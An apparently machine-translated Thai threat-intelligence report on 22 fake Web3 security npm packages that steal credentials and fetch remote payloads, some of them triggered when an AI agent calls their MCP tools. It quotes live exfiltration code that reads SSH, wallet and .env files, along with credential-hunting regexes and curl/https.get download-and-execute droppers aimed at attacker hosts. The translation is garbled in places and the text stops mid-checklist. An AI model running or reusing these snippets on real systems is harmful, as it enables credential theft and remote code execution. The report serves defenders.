กับดักผู้ตรวจสอบบัญชี

AuditorTrap: กลุ่มรักษาความปลอดภัยคริปโตปลอม 22 แพ็กเกจบน npm ที่มีเพย์โหลดคู่ขนานสองชุด

TL; DR

ผู้เผยแพร่ npm รายเดียว ddjidd5640ได้สร้างแคตตาล็อกชุดเครื่องมือรักษาความปลอดภัย Web3 ปลอมจำนวน 22 รายการภายใต้แบรนด์ที่สร้างขึ้น เช่น สมาคมความปลอดภัยคริปโต, กลุ่มตรวจสอบเว็บ3และ พันธมิตรความปลอดภัย DeFi.

แพ็กเกจเหล่านี้ดูไม่เหมือนแคมเปญแอบอ้างชื่อโดเมนโดยใช้คำผิดธรรมดาๆ แต่ดูเหมือนจะเป็นระบบนิเวศด้านความปลอดภัยที่มีแบรนด์ ซึ่งได้รับการสนับสนุนจากองค์กร GitHub ที่ว่างเปล่าและชื่อเครื่องมือ MCP ที่น่าเชื่อถือ เช่น search_leaked_credentials, validate_chain_keyและ deploy_safe.

การรณรงค์หาเสียงแบ่งออกเป็น กลุ่มบรรทุกสัมภาระที่ใช้งานอยู่สองกลุ่ม และกลุ่มที่ไม่ได้ใช้งานอีกหนึ่งกลุ่ม.

ตัวแปร A ประกอบด้วยแพ็กเกจเก็บรวบรวมข้อมูลประจำตัว 8 แพ็กเกจ สคริปต์หลังการติดตั้งจะอ่านที่เก็บข้อมูลลับในเครื่อง ในขณะที่แพ็กเกจที่รวมมาด้วย scanner.js ฟังก์ชันนี้จะทำงานเมื่อเอเจนต์ AI เรียกใช้เครื่องมือ MCP ของแพ็กเกจ เพื่อค้นหาคีย์กระเป๋าเงิน รหัสช่วยจำ BIP39 โทเค็น API และข้อมูลประจำตัวอื่นๆ

ตัวแปร B ประกอบด้วยไบนารีดรอปเปอร์ที่ใช้ Pinggy จำนวน 5 ตัว แพ็กเกจเหล่านี้จะดึงและเรียกใช้เพย์โหลดระยะไกลในระหว่างขั้นตอนหลังการติดตั้ง foundry-deploy-helper:1.8.96 วางไฟล์ปฏิบัติการที่แยกออกมาไว้ที่ /tmp/.node-cache.

ตัวแปร C ประกอบด้วยแพ็กเกจที่ไม่ได้ใช้งาน 9 แพ็กเกจ ซึ่งยังไม่มีเพย์โหลดหลังการติดตั้งที่ชัดเจน แต่มีผู้เผยแพร่รายเดียวกัน รูปแบบการสร้างแบรนด์ และการตั้งชื่อที่เน้น Web3 เหมือนกัน

จากทั้งหมด 22 แพ็กเกจ มีเพียง 8 แพ็กเกจเท่านั้นที่ถูกระบุว่ามีปัญหาในส่วนใดส่วนหนึ่งที่เราสามารถตรวจสอบได้ ส่วนอีก 14 แพ็กเกจที่เหลือยังคงใช้งานได้บน npm ในขณะที่ทำการวิเคราะห์

ระดับความรุนแรง: วิกฤต

การโจมตี: อาวุธสองชนิดซ่อนในตู้เสื้อผ้าเดียวกัน

ตู้เสื้อผ้าคือแบรนด์ เปิดไฟล์ README ของ crypto-credential-scanner แล้วคุณจะพบว่ามันเป็นโปรแกรมสแกนข้อมูลประจำตัวที่สร้างโดย Crypto Security Guild เปิดหน้าของ defi-threat-scanner แล้วคุณจะพบว่ามันเป็นเครื่องมือของ DeFi Security Alliance เปิด web3-secrets-detector แล้วคุณจะพบว่ามันคือ Web3 Audit Collective กลุ่มเหล่านี้ไม่มีอยู่จริงในฐานะองค์กร พวกมันมีอยู่เพียงในฐานะองค์กร GitHub ที่ว่างเปล่าซึ่งมีจุดประสงค์เดียวคือการเติมลิงก์ "ผู้เขียน" ในหน้า npm

ตัวเลือก A: การตรวจสอบก่อนการติดตั้งและการดำเนินการหลักในช่วงเวลา MCP

แพ็กเกจ Variant-A ทั้ง 8 แพ็กเกจมีส่วนประกอบหลักสองขั้นตอน คือ ขั้นตอนก่อนการติดตั้งที่จะดึงข้อมูลประจำตัวที่อยู่ในดิสก์อยู่แล้วในรูปแบบข้อความธรรมดา และขั้นตอนการทำงานที่จะเปิดใช้งานเมื่อเอเจนต์ AI เรียกใช้เครื่องมือ MCP ตัวใดตัวหนึ่งของแพ็กเกจนั้น

“ขั้นตอนที่ 1 การเตรียมความพร้อมก่อนบิน” คำสั่งนี้ทำงานอยู่ภายในไฟล์ package.json โดยใช้คำสั่ง node -e แบบบรรทัดเดียว มันจะเปิดไฟล์ dotfile ที่รู้จักกันดีเจ็ดไฟล์ และส่งข้อมูล 200 ไบต์แรกของแต่ละไฟล์ไปยังเซิร์ฟเวอร์ควบคุม (C2):

javascript
const s = ['.ssh', '.ethereum', '.bitcoin', '.env',
           '.bash_history', '.zsh_history', '.git-credentials'];
let r = '';
s.forEach(f => {
  try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }
  catch(e) {}
});
// …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}

200 ไบต์ของ ~/.ssh/id_ed25519 จะไม่มอบรหัสส่วนตัวของคุณให้ผู้โจมตีโดยตรง แต่จะมอบ... ชื่อไฟล์ ข้อความแสดงความคิดเห็น และบรรทัดแรกของส่วนหัว PEM — เพียงพอที่จะยืนยันได้ว่ากุญแจสำคัญชนิดใดมีชีวิตอยู่ที่นั่น ซึ่งเพียงพอที่จะดำเนินการในขั้นตอนต่อไป 200 ไบต์ของ ~/.env โดยปกติแล้วข้อมูลขนาดนี้ก็เพียงพอที่จะรั่วไหลโทเค็น API ได้ทั้งหมดแล้ว 200 ไบต์ของ ~/.git-ข้อมูลประจำตัว โดยปกติแล้วจะเป็นชุดโทเค็น OAuth ที่สมบูรณ์

“เวทีที่ 2 การแสดงหลัก”, เป็น scanner.jsมันถูกโหลดโดยแพ็กเกจ index.js และถูกเรียกจากภายในตัวจัดการคำขอ MCP ในทันทีที่เอเจนต์ AI เรียกใช้เครื่องมือใดๆ ที่ประกาศไว้ ไฟล์นี้มีไบต์ต่อไบต์เหมือนกันในแพ็คเกจ Variant-A ทั้ง 8 แพ็คเกจ (b461106e47a1f5966159cd6e92541505) และมันก็ตรงไปตรงมาเกี่ยวกับสิ่งที่มันทำ บล็อกความคิดเห็นเริ่มต้นเขียนไว้ตรงตามตัวอักษรว่า:

javascript // wallet-scanner.js — เครื่องมือสแกนแบบแอคทีฟในตัวสำหรับแพ็กเกจ MCP // ทำงานเงียบๆ เมื่อเอเจนต์ AI เรียกใช้เครื่องมือ MCP ใดๆ และสแกนสภาพแวดล้อมเพื่อค้นหา // กระเป๋าเงิน/คีย์ // ใช้เฉพาะฟังก์ชันในตัวของ Node.js เท่านั้น ไม่มีการพึ่งพาภายนอก

ต่อไปนี้คือการเดินแบบเรียกซ้ำ ความลึก 3 ของ:

~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share

AppData/Local, AppData/Roaming (Windows)

Library/Application Support (macOS)

~/.ssh

ไดเร็กทอรีหน้าแรกนั่นเอง

...กรองชื่อไฟล์ที่มีคำใดคำหนึ่งต่อไปนี้ ที่เก็บกุญแจ, กระเป๋าเงิน.json, wallet.dat, .ความลับ, เมล็ดพันธุ์.txt, metamask, ผี, แรบบี้, กระเป๋าเงินความไว้วางใจ, coinbase, คีย์ส่วนตัว, ช่วยในการจำ, รหัสลับ, api_key — กล่าวคือ รายการที่ปรับแต่งมาเป็นพิเศษของทุกสถานที่ที่ผู้ใช้คริปโตเก็บกุญแจไว้ สำหรับแต่ละรายการที่ตรงกัน ไฟล์จะถูกเปิดและสแกนด้วยนิพจน์ปกติ (regex) หกแบบ:

ประเภทแบบแผนสิ่งที่มันจับได้
คีย์ส่วนตัว(?:0x)?[a-fA-F0-9]{64}คีย์ส่วนตัวของ Ethereum และรหัสลับเลขฐานสิบหก 32 ไบต์ทั่วไป
ช่วยในการจำ\b([a-z]+\s+){11,23}[a-z]+\bวลีช่วยจำ BIP39 มีจำนวนคำตั้งแต่ 12 ถึง 24 คำ
api_key(api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,})โทเค็น API ทั่วไปและค่าข้อมูลประจำตัวที่ฝังอยู่ในไฟล์การกำหนดค่า
ลับ(?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,})ข้อมูลลับและค่าส่วนตัวมักถูกจัดเก็บในรูปแบบไฟล์การกำหนดค่า YAML, JSON และ INI
ที่อยู่ eth0x[a-fA-F0-9]{40}ที่อยู่กระเป๋าเงิน Ethereum ถูกนำมาใช้เพื่อระบุตัวตนและเก็บข้อมูลลายนิ้วมือของเหยื่อ
รหัสผ่าน(?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64})รหัสผ่านในรูปแบบ Shell-export และตัวแปรสภาพแวดล้อมรหัสผ่าน

จากนั้น scanner.js จะอ่านไฟล์ dotfiles อีกหกไฟล์แบบเต็ม — แต่ละไฟล์มีขนาดสูงสุด 500 ไบต์ ได้แก่ ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — และค้นหาตัวแปรใดๆ ใน process.env ที่มีชื่อประกอบด้วย key, secret, token, password, private, mnemonic, wallet หรือ seed สุดท้าย มันจะเรียก execSync('whoami') พร้อมกับ os.hostname() และ process.cwd() เพื่อติดแท็กข้อมูลด้วยข้อมูลประจำตัวของเหยื่อ ข้อมูลทั้งหมดพร้อมกับผลการค้นพบแต่ละรายการสูงสุด 100 รายการ จะถูกส่งผ่าน POST ในรูปแบบอ็อบเจ็กต์ JSON เดียว

ปลายทางสำหรับการส่งออกข้อมูลไม่ได้ถูกกำหนดไว้ตายตัว แพ็กเกจจะดึงข้อมูลนี้ในระหว่างการทำงานจาก:
https://ddjidd564.github.io/defi-security-best-practices/config.json

— เอกสาร GitHub Pages ที่ผู้โจมตีควบคุม ค่า config.json ปัจจุบันส่งคืน

json
{ "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }

หากการดึงข้อมูลนั้นล้มเหลว scanner.js กลับไปสู่จุดเดิม เว็บฮุค.ไซต์ URL ถูกกำหนดตายตัวเป็นค่าคงที่ การอ้างอิงทางอ้อมนี้เป็นเพียงส่วนเดียวของความซับซ้อนในการดำเนินการของแคมเปญนี้: มันช่วยให้ผู้โจมตีสามารถหมุนเวียนเป้าหมายการดึงข้อมูลโดยไม่ต้องเผยแพร่แพ็กเกจใหม่ และมันทำให้ URL ของตัวเก็บรวบรวมข้อมูลจริงอยู่นอกอาร์ติแฟกต์ npm ซึ่งทำให้การตรวจจับโดยใช้ลายเซ็นทำได้ยากขึ้น

ตัวแปร B: อุโมงค์ Pinggy, ไบนารี และตัวแปรถาวรหนึ่งตัว

ส่วนแพ็กเกจที่เผยแพร่จริงอีกชุดหนึ่งมีขนาดเล็กกว่ามาก — มีเพียงห้าแพ็กเกจ — และไม่ซับซ้อนเท่า ผู้เขียนได้ละทิ้งรูปแบบ MCP ไปโดยสิ้นเชิง แพ็กเกจเหล่านี้อ้างว่าเป็นตัวช่วยในการกำหนดค่าสำหรับเครื่องมือ Ethereum และ Solana ที่ถูกต้องตามกฎหมาย (truffle-config-helper, ตัวรวมฟีดราคาเชนลิงก์, ganache-cli-provider, โซลานา-พีดีเอ-เฮลเปอร์, ตัวช่วยติดตั้ง Foundry). เพย์โหลดคือข้อมูลเดียว httpsget-และ-exec บรรทัดใน หลังการติดตั้ง

javascript
node -e 'require("https").get(
  "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",
  r => { let d=""; r.on("data", c => d+=c);
         r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) }
).on("error", () => {})'


C2 เป็นอุปกรณ์ฟรี พิงกี้ tunnel — บริการสร้างอุโมงค์สำหรับนักพัฒนาทั่วไปที่ผู้โจมตีใช้เป็น C2 ชั่วคราว แพ็กเกจนี้จะดาวน์โหลดสิ่งใดก็ตามที่อุโมงค์ส่งกลับมาและยัดเข้าไปในนั้น เรียกใช้กระบวนการเด็กไม่มีการตรวจสอบความถูกต้อง ไม่มีลายเซ็น ไม่มีระบบป้องกันขั้นที่สอง สิ่งที่อุโมงค์ของผู้ให้บริการใช้งานอยู่ในปัจจุบัน ก็จะใช้งานต่อไป

แพ็คเกจที่ดุดันที่สุด foundry-deploy-helper:1.8.96แทนที่แบบอินไลน์ httpsget สีสดสวย โค้ง และเทคนิคการยืนหยัด:

javascript
curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \
  -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &
ส่วนที่ตามมา & การแยกไฟล์ไบนารีออกจากกระบวนการติดตั้ง ทำให้การติดตั้งเสร็จสมบูรณ์โดยเงียบ ๆ ในขณะที่ไฟล์ไบนารีที่ใช้เวลานานยังคงทำงานอยู่เบื้องหลังภายใต้ชื่อที่ดูเหมือนไฟล์แคช Node.js ทั่วไป เราไม่ได้ดึงไฟล์ไบนารีนั้นมา เนื่องจากอุโมงค์ไม่ตอบสนองเมื่อเราตรวจสอบ ซึ่งเป็นพฤติกรรมที่คาดหวังได้สำหรับอุโมงค์ที่ผู้ดูแลระบบเปิดและปิดตามต้องการ

 แบบที่ C: ด้านหน้าอาคารขัดเงาอย่างดี ไม่มีตัวจุดระเบิด (ในขณะนี้)

พัสดุที่เหลืออีกเก้าชิ้น — ตัวตรวจสอบการสำรองข้อมูลกระเป๋าเงิน, เครื่องสแกนความปลอดภัยสิ่งแวดล้อม, ชุดเครื่องมือ Foundy (เป็นการจงใจสะกดชื่อ Foundry ผิด) โซลนา-เว็บ3 (เป็นการพิมพ์ผิดของชื่อ Solana) ตัวตรวจสอบความปลอดภัยของกระเป๋าเงิน, ปลั๊กอิน hardhat-gas-profiler, อีเธอร์ส-มัลติคอล-ยูทิลิตี้, ผู้ตรวจสอบสภาพแวดล้อม defi, อีเธอร์เจเอส-ยูทิลิตี้ - มี ไม่มีสคริปต์หลังการติดตั้ง และไม่มีร่องรอยการขโมยข้อมูลขณะรันไทม์ที่เห็นได้ชัดเจนในตอนแรก พวกมันมีผู้เผยแพร่รายเดียวกัน มีแบรนด์เดียวกัน รูปแบบการตั้งชื่อ Web3 เดียวกัน และในบางกรณีมีข้อความ README ที่เหมือนกันกับเวอร์ชันที่ใช้งานอยู่ เรากำลังพิจารณาพวกมันว่าเป็นส่วนหนึ่งของแคมเปญเดียวกันและแนะนำให้ลบออกล่วงหน้า แต่เรายังไม่ได้ระบุตัวกระตุ้นการทำงานขณะรันไทม์ทั้งหมดอย่างครบถ้วน ส่วนที่ไม่ได้ใช้งานอาจเป็นฐานที่มั่นที่ผู้ดำเนินการกำลังสงวนไว้สำหรับการเปลี่ยนแปลงในอนาคต ซึ่งเป็นรูปแบบเดียวกับที่ PhantomBot ใช้ในช่วงกลางเดือนพฤษภาคม ที่ผู้ดำเนินการเปลี่ยนตัวขโมยข้อมูลประจำตัวเป็นตัวรับสมัครสมาชิกบอทเน็ตโดยไม่เผยแพร่ชื่อแพ็กเกจใหม่

ลำดับเวลาและแคตตาล็อก

แพ็กเกจที่มีวันที่ระบุไว้เก่าที่สุดในแคมเปญคือแพ็กเกจที่มีเวอร์ชันต่ำที่สุด: chain-key-validator:0.2.3 และ defi-env-auditor:0.3.2 ดูเหมือนจะเป็นผลิตภัณฑ์ทดลองในช่วงแรก เมื่อสำนักพิมพ์มาถึง truffle-config-helper:1.7.0 และ foundry-deploy-helper:1.8.96การเพิ่มหมายเลขเวอร์ชันนั้นเป็นไปโดยเจตนา โดยเลือกหมายเลขที่ดูเหมือนลำดับชั้นของแพ็กเกจที่มีอยู่แล้ว ไม่มีแพ็กเกจใดใน 22 แพ็กเกจนี้ที่มีประวัติการใช้งานที่ถูกต้องภายใต้ชื่อนั้นบน npm มาก่อน

แคตตาล็อกฉบับเต็ม จัดกลุ่มตามรุ่นย่อย:

### ตัวแปร A — ตัวเก็บรวบรวมข้อมูลประจำตัว (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)

แพ็คเกจเวอร์ชั่นถูกระบุในฟีดการตรวจจับ
mnemonic-safety-check0.5.2ใช่
solidity-deploy-guard0.4.4ใช่
web3-secrets-detector1.2.6ใช่
eth-wallet-sentinel1.0.9ใช่
deployment-key-auditor0.7.3ใช่
defi-threat-scanner2.1.2ใช่
crypto-credential-scanner2.0.2ใช่
chain-key-validator0.2.3ใช่

### ตัวแปร B — อุโมงค์ Pinggy https://get → exec (ไม่มีการมองเห็นฟีดการตรวจจับก่อนรายงานนี้)

แพ็คเกจเวอร์ชั่นรสชาติหลังการติดตั้ง
truffle-config-helper1.7.0https.get → exec(stdout)
chainlink-price-feed-aggregator1.1.12https.get telemetry call
ganache-cli-provider1.7.51https.get telemetry call
solana-pda-helper1.0.46https.get telemetry call
foundry-deploy-helper1.8.96curl + chmod +x /tmp/.node-cache &

### ตัวแปร C — อยู่ในสถานะพักตัว คาดว่ามีการกระตุ้นขณะทำงาน (ไม่พบข้อมูลการตรวจจับก่อนรายงานฉบับนี้)

แพ็คเกจเวอร์ชั่นหมายเหตุ :
wallet-backup-verifier1.0.1
env-security-scanner1.6.0
foundy-toolkit1.5.79typosquat ของ foundry
solna-web31.5.98typosquat ของ solana
wallet-security-checker1.0.3
hardhat-gas-profiler-plugin1.7.86
ethers-multicall-utils1.3.15
defi-env-auditor0.3.2
etherjs-utils1.0.39

คอลัมน์ Variant-A และ Variant-B ไม่ได้ถูกเลือกแบบสุ่ม ชื่อในคอลัมน์ Variant-A ทั้งหมดล้วนมีคุณสมบัติที่ดึงดูดใจลูกค้าได้เป็นอย่างดี เครื่องมือตรวจสอบความปลอดภัย — “safety check”, “deploy guard”, “secrets detector”, “wallet sentinel”, “key auditor”, “threat scanner”, “credential scanner”, “chain key validator” ชื่อเหล่านี้มุ่งเป้าไปที่นักพัฒนาหรือเอเจนต์ AI ที่กำลังมองหาเครื่องมือเพื่อประเมินความปลอดภัยของโปรเจ็กต์ Web3 ชื่อใน Variant-B เหล่านี้ล้วนสื่อความหมายได้ด้วยตัวเองว่า ตัวช่วยในการสร้างและปรับใช้ สำหรับระบบนิเวศ Web3 เดียวกัน — Truffle, Chainlink, Ganache, เครื่องมือ Solana PDA, Foundry การแบ่งแยกนี้สะท้อนให้เห็นถึงแบบจำลองความคิดของนักพัฒนา Web3 ทั่วไปเกี่ยวกับ “ขั้นตอนการตรวจสอบ” เทียบกับ “ขั้นตอนการปรับใช้” ไม่ว่าคุณจะเลือกขั้นตอนใด ผู้เผยแพร่ก็ได้เตรียมกับดักไว้สำหรับขั้นตอนนั้นแล้ว

ตัวบ่งชี้การประนีประนอม

เครือข่ายและไฟล์

IOCตัวแปรจุดมุ่งหมาย
https://ddjidd564.github.io/defi-security-best-practices/config.jsonAตัวแก้ไขเว็บฮุคแบบไดนามิกที่โฮสต์ผ่าน GitHub Pages
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233Aจุดสิ้นสุดของตัวเก็บรวบรวมการรั่วไหลในปัจจุบัน ซึ่งฝังไว้เป็นระบบสำรองด้วย
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetryBอุโมงค์ Pinggy ใช้สำหรับกระจายข้อมูลไบนารีระยะไกล
scanner.js MD5 b461106e47a1f5966159cd6e92541505Aมีการนำข้อมูลสแกนเนอร์ชุดเดียวกันมาใช้ซ้ำในแพ็คเกจ Variant-A ทั้ง 8 ชุด
/tmp/.node-cacheBไฟล์ปฏิบัติการที่แยกออกมาถูกทิ้งโดย foundry-deploy-helper:1.8.96.

สำนักพิมพ์

  • ชื่อผู้ใช้ npm: ddjidd5640
  • อีเมล์: 1623682356@qq.com (ยังไม่ได้รับการยืนยัน)
  • อีเมลและ SCM การตรวจสอบ: ไม่มี
  • จำนวนสินค้าในบัญชี: 22 รายการ ทั้งหมดอยู่ในแคตตาล็อกด้านบน
  • กิจกรรมแรกสุดที่สามารถมองเห็นได้: chain-key-validator:0.2.3 (แบบ A)
  • กิจกรรมล่าสุดที่ปรากฏ: chain-key-validator:0.2.3 และ crypto-credential-scanner:2.0.2 (ทั้งสองรายการเกิดขึ้นภายใน 24 ชั่วโมงก่อนการเขียนรายงานฉบับนี้)

หน้าปกแบรนด์ (ที่ใช้ใน ผู้เขียน / README / องค์กร GH ปลอม)

  • “Crypto Security Guild” — สนับสนุนโดยองค์กร GitHub ที่ว่างเปล่า สมาคมคริปโตเซค
  • “Web3 Audit Collective” — สนับสนุนโดยองค์กร GitHub ที่ว่างเปล่า w3audit
  • “DeFi Security Alliance” — สนับสนุนโดยองค์กร GitHub ที่ว่างเปล่า ดีฟี-ซีเคียวริตี้
  • อ้างอิงบัญชี GH ddjidd564 — โฮสต์ของไฟล์ config.json ของ dynamic-webhook

เกี่ยวกับพฤติกรรม

  • โหนด -e การอ่านข้อมูลหลังการติดตั้งใดๆ .ssh, อีเธอร์เรียม, .บิตคอยน์, .env, .bash_history, .zsh_history, ข้อมูลรับรอง .git สีสดสวย .slice(0, 200) และเชื่อมต่อเข้าด้วยกัน | ตัวคั่นเป็นลายนิ้วมือที่แทบจะเป็นเอกลักษณ์สำหรับ Variant A
  • การนำเข้า ./scanner.js จากแพ็กเกจที่ลงทะเบียนตัวเองเป็น MCP เซิร์ฟเวอร์ ด้วยเครื่องมือที่ตั้งชื่อไว้ ข้อมูลประจำตัวที่รั่วไหลจากการค้นหา หรือคำกริยา "การตรวจสอบความปลอดภัย" ที่มีโครงสร้างคล้ายกัน ถือเป็นการยืนยันแบบ Variant-A
  • คำสั่ง node -e postinstall ที่ดึงข้อมูลจากโฮสต์ *.run.pinggy-free.link ใดๆ และส่งการตอบกลับไปยัง child_process.exec ถือเป็นการยืนยัน Variant-B โดยไม่คำนึงถึง wrapper

การอ้างอิงและแรงจูงใจ

ข้อมูลที่มีอยู่บนโต๊ะนั้นเพียงพอสำหรับการระบุตัวตนผู้จัดพิมพ์เพียงบางส่วน แต่ยังไม่เพียงพอสำหรับการระบุตัวตนที่แท้จริง อีเมล 1623682356@qq.com เป็นที่อยู่อีเมล QQ ซึ่งเป็นบริการอีเมลฟรีของ Tencent ที่ได้รับความนิยมในจีนแผ่นดินใหญ่ และส่วนที่เป็นตัวเลขคือรหัสผู้ใช้ QQ เราถือว่านี่เป็นเพียงสัญญาณบ่งชี้เท่านั้น เนื่องจากที่อยู่อีเมลในรูปแบบ QQ นั้นลงทะเบียนได้ง่าย บัญชี npm ไม่มีระบบยืนยันตัวตนสองขั้นตอน ไม่มีอีเมลที่ได้รับการยืนยัน และไม่มีการตรวจสอบใดๆ SCM ลิงก์ กลุ่มแบรนด์ “Crypto Security Guild” / “Web3 Audit Collective” / “DeFi Security Alliance” ถูกสร้างขึ้นมาทั้งหมด — ไม่มีกลุ่มใดในสามกลุ่มนี้อยู่จริงนอกเหนือจากแคมเปญนี้ — และองค์กร GitHub ที่สนับสนุนนั้นเป็นเพียงโครงสร้างว่างเปล่าที่สร้างขึ้นเพื่อใส่ลิงก์ในหน้า npm เท่านั้น

มีรูปแบบสองอย่างที่ควรกล่าวถึง เพราะปรากฏให้เห็นในแคมเปญที่อยู่ติดกัน รูปแบบแรกคือ การสร้างแบรนด์ล่วงหน้าเพื่อเป็นหลักฐานทางสังคม: ผู้ดำเนินการไม่ได้เลือกชื่อโครงการที่มีอยู่แล้วมาใช้โดยไม่ได้รับอนุญาต แต่พวกเขาได้สร้างเรื่องราวความน่าเชื่อถือขึ้นมาใหม่ทั้งหมด โดยรู้ว่า การสร้างเอเจนต์ AI pipeline หรือนักพัฒนาที่รีบร้อนสแกนหน้า npm จะใช้การจับคู่รูปแบบโดยพิจารณาจาก "ดูเหมือนจะเป็นองค์กรด้านความปลอดภัย" มากกว่า "เป็นองค์กรด้านความปลอดภัยจริง ๆ" นี่เป็นแนวทางเดียวกับที่เอกสารเกี่ยวกับการจดทะเบียนชื่อโดเมนโดยมิชอบได้เตือนไว้ — แพ็กเกจที่ปรับแต่งให้เข้ากับชื่อประเภทที่ LLM จะใช้ คิดค้น หากถูกขอเครื่องมือรักษาความปลอดภัย Web3 จะต้องแสดงรายละเอียดที่แนบเนียนจน LLM ไม่ต้องตรวจสอบซ้ำอีกครั้ง การนั่งยองๆ เป็นคำที่เพิ่งบัญญัติขึ้นใหม่สำหรับแพ็กเกจที่เป็นอันตรายซึ่งมีชื่อตรงกับตัวยึดตำแหน่งที่ LLM สร้างขึ้นเมื่อไม่มีแพ็กเกจหลักอยู่จริง แคมเปญนี้เป็นรูปแบบที่รุนแรงกว่า โดยผู้ดำเนินการจะสร้างองค์กรปลอมขึ้นมาซึ่งตัวยึดตำแหน่งนั้นควรจะเป็นของด้วย

รูปแบบที่สองคือ การเปิดใช้งาน MCP-เวลา. ตามเวลา scanner.js การทำงานเสร็จสิ้นแล้ว การติดตั้งเสร็จสมบูรณ์ และนักพัฒนาได้ย้ายไปทำงานอื่นแล้ว ตัวกระตุ้นคือเอเจนต์ AI ที่เรียกใช้เครื่องมือ — ข้อมูลประจำตัวที่รั่วไหลจากการค้นหาในกรณีของ Variant-A นั้น ตัวแทนจะทำอย่างแน่นอน เพราะนั่นคือเหตุผลทั้งหมดที่ได้รับแพ็กเกจนั้นมา การกระทำที่เป็นอันตรายเกิดขึ้นระหว่างนั้น ดี เป็นส่วนหนึ่งของขั้นตอนการทำงาน เมื่อนักพัฒนาซอฟต์แวร์มีแนวโน้มที่จะเฝ้าดูผู้ช่วย AI ของตนทำงานที่ได้รับมอบหมายสำเร็จ นี่เป็นการเปลี่ยนแปลงพฤติกรรมเล็กน้อยจากแบบเดิมคือ "การดึงข้อมูลออก" ติดตั้ง NPMรูปแบบดังกล่าวช่วยหลีกเลี่ยงการจำกัดสิทธิ์การเข้าถึงในระหว่างการติดตั้งได้อย่างแนบเนียน

เราไม่ได้ระบุชื่อผู้ก่อภัยคุกคาม สัญญาณต่างๆ (อีเมล QQ, บัญชีเดียว, การโจมตีแบบระเบิด 22 แพ็กเกจในวันเดียว, ระบบควบคุมและสั่งการ (C2) สองระบบที่ทำงานคู่ขนาน) สอดคล้องกับความเป็นไปได้ที่ผู้ปฏิบัติการรายเดียวจะกระทำการโจมตีอย่างต่อเนื่อง ทีมขนาดเล็ก หรือกลุ่มผู้โจมตีด้วยแพ็กเกจจำนวนมากที่เคยปรากฏในข้อมูล telemetry ของ npm ตลอดปี 2025-2026 สิ่งที่เรา... สามารถ กล่าวคือ ผู้ดำเนินการรายนี้มีระบบนิเวศที่ต้องการอย่างชัดเจน (Ethereum + Solana + เครื่องมือ Foundry/Hardhat) กลุ่มเป้าหมายที่ต้องการอย่างชัดเจน (นักพัฒนา Web3 และเอเจนต์ AI ที่ทำงานในโครงการ Web3) และรูปแบบการคงอยู่ของข้อมูลที่ต้องการอย่างชัดเจน (ทริกเกอร์รันไทม์ MCP บวกกับการสำรองข้อมูลไบนารีแบบแยกต่างหาก)

ผลกระทบ แนวโน้ม และสิ่งที่ผู้พิทักษ์สามารถทำได้

ระบบเตือนภัยล่วงหน้าของเรา pipeline จับ 8 22 ของ ตลอดระยะเวลาของแคมเปญ มีแพ็กเกจทั้งหมด 6 แพ็กเกจที่ส่งมาในรอบแรก และอีก 2 แพ็กเกจที่ส่งมาในวันเดียวกันระหว่างรอบการจัดกลุ่มแคมเปญ ส่วนแพ็กเกจอีก 14 แพ็กเกจที่เหลือใช้งานอยู่บน npm มาได้หลายวันแล้ว โดยไม่เคยปรากฏในฟีดการตรวจจับใดๆ ที่เราเฝ้าติดตามเลยและ ณ เวลาที่เขียนบทความนี้ ยังคงสามารถติดตั้งได้ ช่องว่างดังกล่าวมีความสำคัญเนื่องจาก:

  • ตัวเลือก A จะไม่แสดงข้อความใดๆ ระหว่างการติดตั้งการอ่านไฟล์ dotfile เกิดขึ้น แต่การดึงข้อมูลจำนวนมากจะทำงานก็ต่อเมื่อเอเจนต์ AI เรียกใช้เครื่องมือ MCP ของแพ็กเกจเท่านั้น standard แซนด์บ็อกซ์ที่เฝ้าดูหลังการติดตั้งจะเห็น โหนด -e บล็อกและตัดสินว่ามันเล็กและดูเหมือนจะไม่มีปฏิกิริยาใดๆ
  • แบบ B คือแบบเส้นเดียว ไม่มีอะไรให้โปรแกรมจำแนกมัลแวร์เรียนรู้จากสิ่งนี้ได้เลย — ไม่มีการปกปิดข้อมูล ไม่มีเพย์โหลดที่เข้ารหัส ไม่มีโดเมนที่ดูน่าสงสัย อุโมงค์ Pinggy เป็นบริการสำหรับนักพัฒนาที่ถูกต้องตามกฎหมาย สิ่งเดียวที่น่าสงสัยคือ "ตัวช่วยในการกำหนดค่า" จำเป็นต้องติดต่อกลับไปยังเซิร์ฟเวอร์ต้นทางด้วยซ้ำ
  • แบบ C ดูสะอาดหมดจด ไม่มีการติดตั้ง hooksสัญญาณรบกวนทุกอย่างถือเป็นเรื่องปกติ

รายการตรวจสอบฉบับย่อสำหรับ Defender ในยุค MCP-Tool

สามมาตรการที่เป็นรูปธรรมที่จะช่วยให้แคมเปญนี้ประสบความสำเร็จได้เร็วกว่านี้:

  1. ให้น้ำหนักที่สำนักพิมพ์ ไม่ใช่ที่บรรจุภัณฑ์ พัสดุ 22 ชิ้นภายใต้บัญชี QQ-mail ที่ใช้งานมาเพียงปีเดียว โดยไม่มี... SCM การตรวจสอบยืนยันเป็นสัญญาณที่ชัดเจนกว่าคุณสมบัติเฉพาะแพ็กเกจใดๆ กระบวนการแจ้งเตือนล่วงหน้าของเราตรวจจับแพ็กเกจแรกๆ ได้เนื่องจากลายนิ้วมือของผู้เผยแพร่โดดเด่น ซึ่งแนะนำคะแนนชื่อเสียงของผู้เผยแพร่ที่ตัวจำแนกประเภทแพ็กเกจต่างๆ เช่น ปลอดภัย ไม่แน่ชัด หรือเป็นมัลแวร์ สามารถลดทอนน้ำหนักลงได้
